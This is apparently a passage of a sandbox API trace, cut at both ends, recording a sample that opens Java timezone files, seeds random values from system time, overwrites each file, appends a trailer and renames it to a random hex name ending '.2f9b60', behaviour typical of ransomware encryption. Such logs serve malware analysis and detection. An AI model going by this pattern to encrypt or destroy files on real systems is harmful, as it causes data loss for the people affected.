[0160.252] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Lome" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\africa\\lome")) returned 0x20 [0165.815] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Lome", dwFileAttributes=0x20) returned 1 [0166.954] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Lome" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\africa\\lome"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x2c08 [0167.807] GetFileSizeEx (in: hFile=0x2c08, lpFileSize=0x3c1df840 | out: lpFileSize=0x3c1df840*=27) returned 1 [0167.807] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42ac3980 [0167.808] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c18b40 [0167.808] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c18bd0 [0167.808] NtQuerySystemTime (in: CurrentTime=0x3c1df700 | out: CurrentTime=0x3c1df700*=132462177729178000) returned 0x0 [0167.808] RtlRandomEx (in: Seed=0x3c1df6f0 | out: Seed=0x3c1df6f0) returned 0x4ddc0b83 [0167.808] RtlRandomEx (in: Seed=0x3c1df6f0 | out: Seed=0x3c1df6f0) returned 0x6873083 [0167.808] RtlRandomEx (in: Seed=0x3c1df6f0 | out: Seed=0x3c1df6f0) returned 0x4473706b [0167.808] RtlRandomEx (in: Seed=0x3c1df6f0 | out: Seed=0x3c1df6f0) returned 0x2da3bc5b [0167.808] RtlRandomEx (in: Seed=0x3c1df6f0 | out: Seed=0x3c1df6f0) returned 0x278b586a [0167.808] RtlRandomEx (in: Seed=0x3c1df6f0 | out: Seed=0x3c1df6f0) returned 0x7208cb98 [0167.808] RtlRandomEx (in: Seed=0x3c1df6f0 | out: Seed=0x3c1df6f0) returned 0x6c354639 [0167.808] RtlRandomEx (in: Seed=0x3c1df6f0 | out: Seed=0x3c1df6f0) returned 0x5321b17c [0167.808] RtlRandomEx (in: Seed=0x3c1df6f0 | out: Seed=0x3c1df6f0) returned 0xe079e7d [0167.808] RtlRandomEx (in: Seed=0x3c1df6f0 | out: Seed=0x3c1df6f0) returned 0x30ff93a0 [0167.808] RtlRandomEx (in: Seed=0x3c1df6f0 | out: Seed=0x3c1df6f0) returned 0x6462ab9e [0167.808] RtlRandomEx (in: Seed=0x3c1df6f0 | out: Seed=0x3c1df6f0) returned 0x33e02ac0 [0167.808] RtlRandomEx (in: Seed=0x3c1df6f0 | out: Seed=0x3c1df6f0) returned 0x338246e0 [0167.808] RtlRandomEx (in: Seed=0x3c1df6f0 | out: Seed=0x3c1df6f0) returned 0x4a9891d6 [0167.808] RtlRandomEx (in: Seed=0x3c1df6f0 | out: Seed=0x3c1df6f0) returned 0x5712dd5a [0167.808] RtlRandomEx (in: Seed=0x3c1df6f0 | out: Seed=0x3c1df6f0) returned 0xa0db857 [0167.808] RtlRandomEx (in: Seed=0x3c1df6f0 | out: Seed=0x3c1df6f0) returned 0x2730e497 [0167.808] RtlRandomEx (in: Seed=0x3c1df6f0 | out: Seed=0x3c1df6f0) returned 0x626d25e4 [0167.808] RtlRandomEx (in: Seed=0x3c1df6f0 | out: Seed=0x3c1df6f0) returned 0x285b7fc2 [0167.808] RtlRandomEx (in: Seed=0x3c1df6f0 | out: Seed=0x3c1df6f0) returned 0x4a7cc157 [0167.808] RtlRandomEx (in: Seed=0x3c1df6f0 | out: Seed=0x3c1df6f0) returned 0x313cefce [0167.808] RtlRandomEx (in: Seed=0x3c1df6f0 | out: Seed=0x3c1df6f0) returned 0x145355ae [0167.809] RtlRandomEx (in: Seed=0x3c1df6f0 | out: Seed=0x3c1df6f0) returned 0x2454d83b [0167.809] RtlRandomEx (in: Seed=0x3c1df6f0 | out: Seed=0x3c1df6f0) returned 0x60ac6f63 [0167.809] RtlRandomEx (in: Seed=0x3c1df6f0 | out: Seed=0x3c1df6f0) returned 0x3ed8893f [0167.809] RtlRandomEx (in: Seed=0x3c1df6f0 | out: Seed=0x3c1df6f0) returned 0x6d21ca [0167.809] RtlRandomEx (in: Seed=0x3c1df6f0 | out: Seed=0x3c1df6f0) returned 0x77aff643 [0167.809] RtlRandomEx (in: Seed=0x3c1df6f0 | out: Seed=0x3c1df6f0) returned 0x9a023db [0167.809] RtlRandomEx (in: Seed=0x3c1df6f0 | out: Seed=0x3c1df6f0) returned 0x47b29894 [0167.809] RtlRandomEx (in: Seed=0x3c1df6f0 | out: Seed=0x3c1df6f0) returned 0x1223f985 [0167.809] RtlRandomEx (in: Seed=0x3c1df6f0 | out: Seed=0x3c1df6f0) returned 0x69ed7c1b [0167.809] RtlRandomEx (in: Seed=0x3c1df6f0 | out: Seed=0x3c1df6f0) returned 0x511f8530 [0167.816] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c18c00 [0167.817] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85f210 [0167.817] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c18c30 [0167.817] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f210) returned 1 [0167.818] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c18bd0) returned 1 [0167.818] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42ac3980) returned 1 [0167.818] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce5b980 [0167.818] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85f210 [0167.818] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42ac3980 [0167.819] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42ac3980) returned 1 [0167.819] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x424d3da0 [0167.819] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x424e2de0 [0167.819] ReadFile (in: hFile=0x2c08, lpBuffer=0x424d3da0, nNumberOfBytesToRead=0x1b, lpNumberOfBytesRead=0x3c1df6f0, lpOverlapped=0x0 | out: lpBuffer=0x424d3da0*, lpNumberOfBytesRead=0x3c1df6f0*=0x1b, lpOverlapped=0x0) returned 1 [0167.820] SetFilePointerEx (in: hFile=0x2c08, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.820] WriteFile (in: hFile=0x2c08, lpBuffer=0x424e2de0*, nNumberOfBytesToWrite=0x1b, lpNumberOfBytesWritten=0x3c1df6f4, lpOverlapped=0x0 | out: lpBuffer=0x424e2de0*, lpNumberOfBytesWritten=0x3c1df6f4*=0x1b, lpOverlapped=0x0) returned 1 [0180.400] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddbde0 [0180.400] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddbdb0 [0180.401] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddbdb0) returned 1 [0180.401] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x424e2de0) returned 1 [0180.402] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x424d3da0) returned 1 [0180.402] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f210) returned 1 [0180.402] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5b980) returned 1 [0180.402] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x16) returned 0x1b82d1c0 [0180.403] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce5b980 [0180.403] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85f210 [0180.404] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddbdb0 [0180.404] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddbdb0) returned 1 [0180.404] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x16) returned 0x1b82d1e0 [0180.404] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddbdb0 [0180.405] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddbd50 [0180.405] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddbd50) returned 1 [0180.406] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f210) returned 1 [0180.406] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5b980) returned 1 [0180.406] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xfa) returned 0x423a9810 [0180.407] SetFilePointerEx (in: hFile=0x2c08, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0180.407] WriteFile (in: hFile=0x2c08, lpBuffer=0x423a9810*, nNumberOfBytesToWrite=0xfa, lpNumberOfBytesWritten=0x3c1df810, lpOverlapped=0x0 | out: lpBuffer=0x423a9810*, lpNumberOfBytesWritten=0x3c1df810*=0xfa, lpOverlapped=0x0) returned 1 [0184.304] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd974e0 [0184.305] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79d470 [0184.305] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c18fc0 [0184.305] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c18fc0) returned 1 [0184.306] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8) returned 0x1b7d3400 [0184.306] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c18fc0 [0184.306] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c19080 [0184.307] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c19080) returned 1 [0184.307] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79d470) returned 1 [0184.307] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd974e0) returned 1 [0184.307] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x11) returned 0x1b82d740 [0184.308] sprintf (in: _Dest=0x1b82d740, _Format="%c%c" | out: _Dest="85") returned 2 [0184.308] sprintf (in: _Dest=0x1b82d742, _Format="%c%c" | out: _Dest="b7") returned 2 [0184.308] sprintf (in: _Dest=0x1b82d744, _Format="%c%c" | out: _Dest="07") returned 2 [0184.308] sprintf (in: _Dest=0x1b82d746, _Format="%c%c" | out: _Dest="4c") returned 2 [0184.308] sprintf (in: _Dest=0x1b82d748, _Format="%c%c" | out: _Dest="87") returned 2 [0184.308] sprintf (in: _Dest=0x1b82d74a, _Format="%c%c" | out: _Dest="e5") returned 2 [0184.308] sprintf (in: _Dest=0x1b82d74c, _Format="%c%c" | out: _Dest="a9") returned 2 [0184.308] sprintf (in: _Dest=0x1b82d74e, _Format="%c%c" | out: _Dest="40") returned 2 [0184.308] RtlInitAnsiString (in: DestinationString=0x3c1df888, SourceString="85b7074c87e5a940" | out: DestinationString="85b7074c87e5a940") [0184.308] RtlAnsiStringToUnicodeString (in: DestinationString=0x3c1df858, SourceString="85b7074c87e5a940", AllocateDestinationString=1 | out: DestinationString="85b7074c87e5a940") returned 0x0 [0184.308] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x22) returned 0x42c18bd0 [0184.309] RtlFreeAnsiString (AnsiString="8") [0184.309] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82d740) returned 1 [0184.310] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7d3400) returned 1 [0184.310] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c18fc0) returned 1 [0184.310] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a9810) returned 1 [0184.311] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82d1e0) returned 1 [0184.311] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddbdb0) returned 1 [0184.311] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82d1c0) returned 1 [0184.312] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddbde0) returned 1 [0184.312] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c18b40) returned 1 [0184.312] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c18c00) returned 1 [0184.313] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c18c30) returned 1 [0184.313] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x76) returned 0x1b79d470 [0184.313] wcscat (in: _Dest=0x1b79d470, _Source="85b7" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\85b7") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\85b7" [0184.313] wcscat (in: _Dest=0x1b79d470, _Source=".2f9b60" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\85b7.2f9b60") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\85b7.2f9b60" [0184.313] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\85b7.2f9b60", NtPathName=0x3c1df830, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\85b7.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0184.313] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x94) returned 0x431c6720 Thread: id = 2832 os_tid = 0x1a70 [0160.252] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Luanda" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\africa\\luanda")) returned 0x20 [0165.816] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Luanda", dwFileAttributes=0x20) returned 1 [0167.066] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Luanda" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\africa\\luanda"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x2c74 [0168.157] GetFileSizeEx (in: hFile=0x2c74, lpFileSize=0x44aefac0 | out: lpFileSize=0x44aefac0*=65) returned 1 [0168.157] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7100 [0168.157] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7760 [0168.157] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7940 [0168.158] NtQuerySystemTime (in: CurrentTime=0x44aef980 | out: CurrentTime=0x44aef980*=132462177732766000) returned 0x0 [0168.158] RtlRandomEx (in: Seed=0x44aef970 | out: Seed=0x44aef970) returned 0x2761c44b [0168.158] RtlRandomEx (in: Seed=0x44aef970 | out: Seed=0x44aef970) returned 0x5ce75b3e [0168.158] RtlRandomEx (in: Seed=0x44aef970 | out: Seed=0x44aef970) returned 0x2d850bb8 [0168.158] RtlRandomEx (in: Seed=0x44aef970 | out: Seed=0x44aef970) returned 0x319252ad [0168.158] RtlRandomEx (in: Seed=0x44aef970 | out: Seed=0x44aef970) returned 0x695d85cf [0168.158] RtlRandomEx (in: Seed=0x44aef970 | out: Seed=0x44aef970) returned 0x73a60105 [0168.158] RtlRandomEx (in: Seed=0x44aef970 | out: Seed=0x44aef970) returned 0x5fe937b4 [0168.158] RtlRandomEx (in: Seed=0x44aef970 | out: Seed=0x44aef970) returned 0x6cf4a454 [0168.158] RtlRandomEx (in: Seed=0x44aef970 | out: Seed=0x44aef970) returned 0x3d267b8a [0168.158] RtlRandomEx (in: Seed=0x44aef970 | out: Seed=0x44aef970) returned 0x78a5bb53 [0168.158] RtlRandomEx (in: Seed=0x44aef970 | out: Seed=0x44aef970) returned 0x59e4b642 [0168.158] RtlRandomEx (in: Seed=0x44aef970 | out: Seed=0x44aef970) returned 0x69cd6829 [0168.158] RtlRandomEx (in: Seed=0x44aef970 | out: Seed=0x44aef970) returned 0x30288710 [0168.158] RtlRandomEx (in: Seed=0x44aef970 | out: Seed=0x44aef970) returned 0x35373970 [0168.158] RtlRandomEx (in: Seed=0x44aef970 | out: Seed=0x44aef970) returned 0x62a1136f [0168.158] RtlRandomEx (in: Seed=0x44aef970 | out: Seed=0x44aef970) returned 0x60e73367 [0168.158] RtlRandomEx (in: Seed=0x44aef970 | out: Seed=0x44aef970) returned 0x2a6e66e8 [0168.158] RtlRandomEx (in: Seed=0x44aef970 | out: Seed=0x44aef970) returned 0x1696a705 [0168.158] RtlRandomEx (in: Seed=0x44aef970 | out: Seed=0x44aef970) returned 0x3db01816 [0168.158] RtlRandomEx (in: Seed=0x44aef970 | out: Seed=0x44aef970) returned 0x67f7d8eb [0168.158] RtlRandomEx (in: Seed=0x44aef970 | out: Seed=0x44aef970) returned 0x33ba4207 [0168.158] RtlRandomEx (in: Seed=0x44aef970 | out: Seed=0x44aef970) returned 0x470f51ff [0168.158] RtlRandomEx (in: Seed=0x44aef970 | out: Seed=0x44aef970) returned 0x3005548a [0168.158] RtlRandomEx (in: Seed=0x44aef970 | out: Seed=0x44aef970) returned 0xf8eacd3 [0168.158] RtlRandomEx (in: Seed=0x44aef970 | out: Seed=0x44aef970) returned 0x79192270 [0168.158] RtlRandomEx (in: Seed=0x44aef970 | out: Seed=0x44aef970) returned 0xb26a9e8 [0168.158] RtlRandomEx (in: Seed=0x44aef970 | out: Seed=0x44aef970) returned 0x230e4ebe [0168.158] RtlRandomEx (in: Seed=0x44aef970 | out: Seed=0x44aef970) returned 0x1da7987c [0168.159] RtlRandomEx (in: Seed=0x44aef970 | out: Seed=0x44aef970) returned 0x535224fd [0168.159] RtlRandomEx (in: Seed=0x44aef970 | out: Seed=0x44aef970) returned 0x57b24919 [0168.159] RtlRandomEx (in: Seed=0x44aef970 | out: Seed=0x44aef970) returned 0x40a84ba4 [0168.159] RtlRandomEx (in: Seed=0x44aef970 | out: Seed=0x44aef970) returned 0x3092bf2f [0168.166] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7700 [0168.167] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce5ad30 [0168.167] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7790 [0168.168] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5ad30) returned 1 [0168.168] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a7940) returned 1 [0168.168] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a7100) returned 1 [0168.168] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce5c830 [0168.169] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce5ad30 [0168.169] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7100 [0168.169] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a7100) returned 1 [0168.169] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x4247d540 [0168.170] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x4246e500 [0168.170] ReadFile (in: hFile=0x2c74, lpBuffer=0x4247d540, nNumberOfBytesToRead=0x41, lpNumberOfBytesRead=0x44aef970, lpOverlapped=0x0 | out: lpBuffer=0x4247d540*, lpNumberOfBytesRead=0x44aef970*=0x41, lpOverlapped=0x0) returned 1 [0168.171] SetFilePointerEx (in: hFile=0x2c74, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0168.171] WriteFile (in: hFile=0x2c74, lpBuffer=0x4246e500*, nNumberOfBytesToWrite=0x41, lpNumberOfBytesWritten=0x44aef974, lpOverlapped=0x0 | out: lpBuffer=0x4246e500*, lpNumberOfBytesWritten=0x44aef974*=0x41, lpOverlapped=0x0) returned 1 [0174.621] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20500dd0 [0174.622] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20500e30 [0174.623] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20500e30) returned 1 [0174.623] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4246e500) returned 1 [0174.623] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4247d540) returned 1 [0174.624] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5ad30) returned 1 [0174.624] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5c830) returned 1 [0174.624] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1a) returned 0x20500e30 [0174.625] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce5c830 [0174.625] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce5ad30 [0174.625] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20500e00 [0174.626] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20500e00) returned 1 [0174.626] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1a) returned 0x20500e00 [0174.626] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20500da0 [0174.626] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20500b30 [0174.627] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20500b30) returned 1 [0174.627] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5ad30) returned 1 [0174.627] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5c830) returned 1 [0174.628] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xfe) returned 0x42c17e50 [0174.628] SetFilePointerEx (in: hFile=0x2c74, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0174.628] WriteFile (in: hFile=0x2c74, lpBuffer=0x42c17e50*, nNumberOfBytesToWrite=0xfe, lpNumberOfBytesWritten=0x44aefa90, lpOverlapped=0x0 | out: lpBuffer=0x42c17e50*, lpNumberOfBytesWritten=0x44aefa90*=0xfe, lpOverlapped=0x0) returned 1 [0190.379] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42058240 [0190.379] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x420607b0 [0190.379] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x43138800 [0190.380] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43138800) returned 1 [0190.380] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc) returned 0x42c0f260 [0190.381] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x43138800 [0190.381] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x43138830 [0190.382] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43138830) returned 1 [0190.382] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420607b0) returned 1 [0190.382] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42058240) returned 1 [0190.383] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x19) returned 0x43138830 [0190.383] sprintf (in: _Dest=0x43138830, _Format="%c%c" | out: _Dest="83") returned 2 [0190.384] sprintf (in: _Dest=0x43138832, _Format="%c%c" | out: _Dest="5b") returned 2 [0190.384] sprintf (in: _Dest=0x43138834, _Format="%c%c" | out: _Dest="3d") returned 2 [0190.384] sprintf (in: _Dest=0x43138836, _Format="%c%c" | out: _Dest="58") returned 2 [0190.384] sprintf (in: _Dest=0x43138838, _Format="%c%c" | out: _Dest="f0") returned 2 [0190.384] sprintf (in: _Dest=0x4313883a, _Format="%c%c" | out: _Dest="c2") returned 2 [0190.384] sprintf (in: _Dest=0x4313883c, _Format="%c%c" | out: _Dest="08") returned 2 [0190.384] sprintf (in: _Dest=0x4313883e, _Format="%c%c" | out: _Dest="6d") returned 2 [0190.384] sprintf (in: _Dest=0x43138840, _Format="%c%c" | out: _Dest="2d") returned 2 [0190.384] sprintf (in: _Dest=0x43138842, _Format="%c%c" | out: _Dest="df") returned 2 [0190.384] sprintf (in: _Dest=0x43138844, _Format="%c%c" | out: _Dest="56") returned 2 [0190.384] sprintf (in: _Dest=0x43138846, _Format="%c%c" | out: _Dest="fe") returned 2 [0190.384] RtlInitAnsiString (in: DestinationString=0x44aefb08, SourceString="835b3d58f0c2086d2ddf56fe" | out: DestinationString="835b3d58f0c2086d2ddf56fe") [0190.384] RtlAnsiStringToUnicodeString (in: DestinationString=0x44aefad8, SourceString="835b3d58f0c2086d2ddf56fe", AllocateDestinationString=1 | out: DestinationString="835b3d58f0c2086d2ddf56fe") returned 0x0 [0190.384] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x32) returned 0x43118820 [0190.384] RtlFreeAnsiString (AnsiString="8") [0190.385] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43138830) returned 1 [0190.385] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c0f260) returned 1 [0190.385] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43138800) returned 1 [0190.386] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c17e50) returned 1 [0190.386] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20500e00) returned 1 [0190.387] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20500da0) returned 1 [0190.387] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20500e30) returned 1 [0190.387] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20500dd0) returned 1 [0190.388] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a7760) returned 1 [0190.388] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a7700) returned 1 [0190.389] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a7790) returned 1 [0190.389] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7a) returned 0x1ceb6d60 [0190.389] wcscat (in: _Dest=0x1ceb6d60, _Source="835b3d" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\835b3d") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\835b3d" [0190.389] wcscat (in: _Dest=0x1ceb6d60, _Source=".2f9b60" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\835b3d.2f9b60") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\835b3d.2f9b60" [0190.389] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\835b3d.2f9b60", NtPathName=0x44aefab0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\835b3d.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0190.389] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x98) returned 0x1ce64050 Thread: id = 2833 os_tid = 0x1a74 [0160.253] GetFileAttributesW 